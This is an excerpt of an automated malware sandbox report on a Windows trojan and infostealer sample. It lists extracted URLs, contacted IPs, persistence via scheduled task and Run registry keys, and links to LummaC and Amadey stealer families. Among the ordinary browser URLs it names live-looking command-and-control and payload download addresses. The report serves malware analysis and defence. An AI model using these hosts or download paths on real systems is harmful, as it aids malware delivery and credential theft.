https://discokeyus.lat/n	b1c5a9309d.exe, 0000000C.00000003.2722504547.000000000163D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001C.00000003.2780650124.000001C137577000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780285141.000001C13753C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780453438.000001C13755A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3210127000.000001C133720000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2779789861.000001C137300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780110569.000001C13751F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
http://31.41.244.11/files/geopoxid/random.exevn	skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://openid.net/xmlns/1.08http://openid.net/signon/1.0	6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllz	140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://ok.ru/	firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php----GDAAKKEHDHCAAAKFCBAKogon.exe	140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp	false	unknown
http://exslt.org/dates-and-times	firefox.exe, 0000001C.00000002.3114255755.000001C133061000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	firefox.exe, 0000001C.00000002.3114255755.000001C1330B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3001793073.00000231946C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02EB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3209453144.000001C13367D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	140460b5fe.exe, 0000000B.00000003.2875427797.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726785957.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726119931.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726520214.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2819329376.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2818888885.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2821619319.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/geopoxid/random.exes	skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dllm	140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/68b591d6548ec281/wareer	140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	false	unknown
http://mozilla.org/#/properties/enabled	firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.bbc.co.uk/	firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	false	high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133AB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2916154035.000001C139BA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02C6000.00000004.00000800.00020000.00000000.sdmp	false	high
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 0000001C.00000002.3372926017.000001C138B55000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bugzilla.mo	firefox.exe, 0000001C.00000002.3383467006.000001C1393DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3384098116.000001C139403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383079455.000001C13938A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383168756.000001C1393AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383236300.000001C1393B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C134628000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383840145.000001C1393F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3362104728.000001C137F3A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/geopoxid/random.exe018432001	skotes.exe, 00000006.00000002.3016381804.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370712885.000001C13882F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C13870B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllX	140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	false	unknown
http://specs.openid.net/extensions/oauth/1.0	6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/	6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllK	140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://www.iqiyi.com/	firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	false	high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
http://185.215.113.16/well/random.exeg	skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpe	140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	false	high
http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/	6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	false	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dllll	140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/geopoxid/random.exe0	skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/geopoxid/random.exe3	skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://monitor.firefox.com/about	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dlllw	140460b5fe.exe, 0000000B.00000002.3012648749.000000000138A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.zhihu.com/	firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	b1c5a9309d.exe, 0000000C.00000003.2774633037.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2889384939.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137C11000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dllrU	140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/products/firefoxgro.all	b1c5a9309d.exe, 00000010.00000003.2902678725.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/geopoxid/random.exeV	skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://identity.mozilla.com/apps/relay	firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3376855261.000001C138EBB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/geopoxid/random.exeX	skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://namespace.google.com/openid/xmlns	6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788435083.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788867167.000001C13712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3209453144.000001C13367D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2789668372.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3338858600.000001C137126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2953394370.000001C137127000.00000004.00000800.00020000.00000000.sdmp	false	high
https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsdocum	firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001C.00000003.2893092457.000001C13B1D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3374498227.000001C138C37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3356200604.000001C137ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://www.amazon.co.uk/	firefox.exe, 0000001C.00000003.2926081660.000001C138766000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	false	high
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://screenshots.firefox.com/	firefox.exe, 0000001C.00000003.2780453438.000001C13755A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3380558908.000001C1390D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3210127000.000001C133720000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2779789861.000001C137300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780110569.000001C13751F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	skotes.exe, 00000006.00000002.3016381804.0000000001439000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://www.wykop.pl/	firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	false	high
https://vk.com/	firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.olx.pl/	firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll.0r	140460b5fe.exe, 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/68b591d6548ec281/	140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	false	unknown
http://31.41.244.11/files/geopoxid/random.exeTa_	skotes.exe, 00000006.00000002.3016381804.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://watch.sling.com/	firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dllData	140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	false	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dllNU	140460b5fe.exe, 0000000B.00000002.3012648749.000000000134D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/complete/	firefox.exe, 0000001C.00000003.2881714201.000001C13F863000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dlldll	140460b5fe.exe, 0000000B.00000002.2986000648.0000000000AD4000.00000040.00000001.01000000.0000000D.sdmp	false	unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
http://specs.openid.net/auth/2.0/signonNhttp://specs.openid.net/auth/2.0/serverdhttp://specs.openid.	6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471388989.00000000036D3000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	false	high
https://www.avito.ru/	firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2890556256.000001C13FB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3360248331.000001C137E09000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.131.246	lossekniyyt.click	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.23.76	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
142.250.181.110	youtube.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
172.67.197.170	discokeyus.lat	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578757
Start date and time:	2024-12-20 11:10:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@56/42@35/13
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 40.69.42.241, 52.40.120.141, 44.228.225.150, 44.240.87.158, 13.107.246.63, 23.218.208.109
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, wu-b-net.trafficmanager.net, location.services.mozilla.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:12:02	API Interceptor	167847x Sleep call for process: skotes.exe modified
05:12:16	API Interceptor	2x Sleep call for process: 6f93831ea2.exe modified
05:12:26	API Interceptor	18x Sleep call for process: b1c5a9309d.exe modified
05:12:56	API Interceptor	102x Sleep call for process: 140460b5fe.exe modified
05:13:06	API Interceptor	1x Sleep call for process: c867aabc28.exe modified
05:13:07	API Interceptor	1x Sleep call for process: firefox.exe modified
10:11:03	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
10:12:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b1c5a9309d.exe C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe
10:12:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b1c5a9309d.exe C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe
10:12:44	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 140460b5fe.exe C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe
10:12:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7a7de3f1d8.exe C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe
10:13:01	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 54993b55c5.exe C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe
10:13:15	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 140460b5fe.exe C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe
10:13:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7a7de3f1d8.exe C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe
10:13:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 54993b55c5.exe C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
